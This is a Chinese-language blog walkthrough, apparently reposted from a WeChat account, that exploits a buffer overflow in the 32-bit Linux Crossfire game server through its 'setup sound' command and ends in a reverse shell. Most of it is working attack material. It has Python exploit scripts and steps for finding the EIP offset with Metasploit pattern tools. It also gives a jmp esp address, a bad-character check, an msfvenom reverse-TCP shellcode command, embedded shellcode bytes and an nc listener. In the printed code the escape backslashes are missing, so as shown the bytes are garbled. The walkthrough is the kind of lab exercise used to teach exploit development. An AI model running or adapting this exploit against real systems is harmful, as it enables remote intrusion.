Linux 32位Crossfire游戏缓冲区溢出

admin 2025年2月24日19:00:39评论9 views字数 3030阅读10分6秒阅读模式

Crossfire缓冲区溢出

缓冲区溢出是安全领域经典的漏洞利用技术。本文将以Crossfire游戏服务为例,带你一步步完成一次完整的缓冲区溢出攻击实战,最终获取反向Shell。 缓冲区溢出是安全领域经典的漏洞利用技术。本文将以Crossfire游戏服务为例,带你一步步完成一次完整的缓冲区溢出攻击实战,最终获取反向Shell。

环境准备

解压游戏包

tar -zxf crossfire.tar.gz
Linux 32位Crossfire游戏缓冲区溢出

部署到系统目录

创建/usr/games/目录,将crossfire复制到目录,进入到对应路径
mkdir /usr/games/
cp -r crossfire /usr/games/
cd /usr/games/crossfire/bin
Linux 32位Crossfire游戏缓冲区溢出
修改文件所有者
chown kali:kali /usr/games/crossfire -R
Linux 32位Crossfire游戏缓冲区溢出
使用kali用户启动crossfire程序
cd /usr/games/crossfire/bin
./crossfire
Linux 32位Crossfire游戏缓冲区溢出
查看程序端口信息
netstat -anp | grep crossfire
Linux 32位Crossfire游戏缓冲区溢出

漏洞分析与调试

开启调试

打开"edb"调试>导入"crossfire"程序

点击"file" > "Attach" > 搜索"crossfire" > "OK"

Linux 32位Crossfire游戏缓冲区溢出
Linux 32位Crossfire游戏缓冲区溢出
Linux 32位Crossfire游戏缓冲区溢出
Linux 32位Crossfire游戏缓冲区溢出

触发溢出

这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以

使用python脚本:

python2 exp01.py

脚本代码:

#!/usr/bin/python
import socket, sys

host = "127.0.0.1"
overflow = "A" * 4379
payload = "x11(setup sound " + overflow + "x90x00#"

s = socket.socket()
print"[*] Sending exploit..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(payload)
s.close()
print"[!] Payload sent!"

Crossfire的溢出点位于处理setup sound命令时。通过发送特定长度的数据可覆盖EIP寄存器:

Linux 32位Crossfire游戏缓冲区溢出

定位EIP偏移

生成脏数据
msf-pattern_create -l 4379
Linux 32位Crossfire游戏缓冲区溢出

修改,使用脚本:

python2 exp02.py
Linux 32位Crossfire游戏缓冲区溢出
Linux 32位Crossfire游戏缓冲区溢出

触发崩溃后,记录EIP值 EIP:46367046

计算偏移量

msf-pattern_offset -l 4379 -q 46367046

位于4368

Linux 32位Crossfire游戏缓冲区溢出

验证EIP控制

修改脚本,使用脚本

python2 exp03.py
#!/usr/bin/python
import socket, sys

host = "127.0.0.1"
overflow = "A" * 4368 + "B" * 4 + "C" * 7
payload = "x11(setup sound " + overflow + "x90x00#"

s = socket.socket()
print"[*] Sending exploit..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(payload)
s.close()
print"[!] Payload sent!"
Linux 32位Crossfire游戏缓冲区溢出

找出shellcode占用的空间

EAX寄存器看起来指向payload的起始位置,包含了字符串“setup sound ”

但是EAX寄存器没有直接跳转到缓冲区(缓冲区的起始地址以A字符串开头),这可能会影响执行exp,导致失败。

可以使用ESP寄存器指向的字节,来创建第一个阶段的shellcode。它可以使得ESP寄存器与缓冲区的A字符起始位置对齐,跳过字符串“setup sound”

为了达到这个目的,我们第一阶段的shellcode将需要添加12比特给EAX寄存器,然后跳转到EAX

构造Shellcode

ESP跳转到EAX

向ESP指向的七个字节堆栈中注入指令 add eax,12 JMP EAX

msf-nasm_shell
add eax,12
  83C00C

jmp eax
  FFE0
拼接:83C00CFFE0
Linux 32位Crossfire游戏缓冲区溢出

定位JMP ESP地址

plugins > opcodesearcher > opcode search > 选择"ESP->EIP" > 搜索选择crossfire程序 > Find

0x08134596
Linux 32位Crossfire游戏缓冲区溢出
Linux 32位Crossfire游戏缓冲区溢出
Linux 32位Crossfire游戏缓冲区溢出

检测坏字符

修改python脚本,使用python脚本:python2 exp04.py

#!/usr/bin/python
import socket, sys

host = "127.0.0.1"
overflow = "A" * 4368 + "B" * 4 + "x1cx1dx1ex1fx20x21x22"
payload = "x11(setup sound " + overflow + "x90x00#"

s = socket.socket()
print"[*] Sending exploit..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(payload)
s.close()
print"[!] Payload sent!"

坏字符:x00x20

Linux 32位Crossfire游戏缓冲区溢出

msf生成shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=8888 -f python -b "x00x20"
Linux 32位Crossfire游戏缓冲区溢出

构造payload

#!/usr/bin/python
import socket, sys

host = "127.0.0.1"
nul = "x90" * 10

buf = b""
buf += b"xdbxd7xd9x74x24xf4x5axbdxa9xa3x72xce"
buf += b"x29xc9xb1x12x31x6ax17x83xc2x04x03xc3"
buf += b"xb0x90x3bx22x6cxa3x27x17xd1x1fxc2x95"
buf += b"x5cx7exa2xffx93x01x50xa6x9bx3dx9axd8"
buf += b"x95x38xddxb0x5axbbx1dx41xcdxb9x1dx63"
buf += b"xb5x37xfcxd3xa3x17xaex40x9fx9bxd9x87"
buf += b"x12x1bx8bx2fxc3x33x5fxc7x73x63xb0x75"
buf += b"xedxf2x2dx2bxbex8dx53x7bx4bx43x13"

eax = "A" * (4368 - len(nul) - len(buf))
eip = "x96x45x13x08"
esp = "x83xC0x0CxFFxE0x90x90"
payload = "x11(setup sound " + nul + buf + eax + eip + esp + "x90x00#"

s = socket.socket()
print"[*] Sending exploit..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(payload)
s.close()
print"[!] Payload sent!"

反弹shell

监听端口

nc -nlvvp 8888
Linux 32位Crossfire游戏缓冲区溢出

执行攻击脚本

python2 exp05.py

反弹shell成功

Linux 32位Crossfire游戏缓冲区溢出

红队全栈教学

可在公众号回复“红队”获取群链接

OSCP+

Linux 32位Crossfire游戏缓冲区溢出

原文始发于微信公众号(泷羽Sec):Linux 32位Crossfire游戏缓冲区溢出

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月24日19:00:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux 32位Crossfire游戏缓冲区溢出https://cn-sec.com/archives/3772511.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息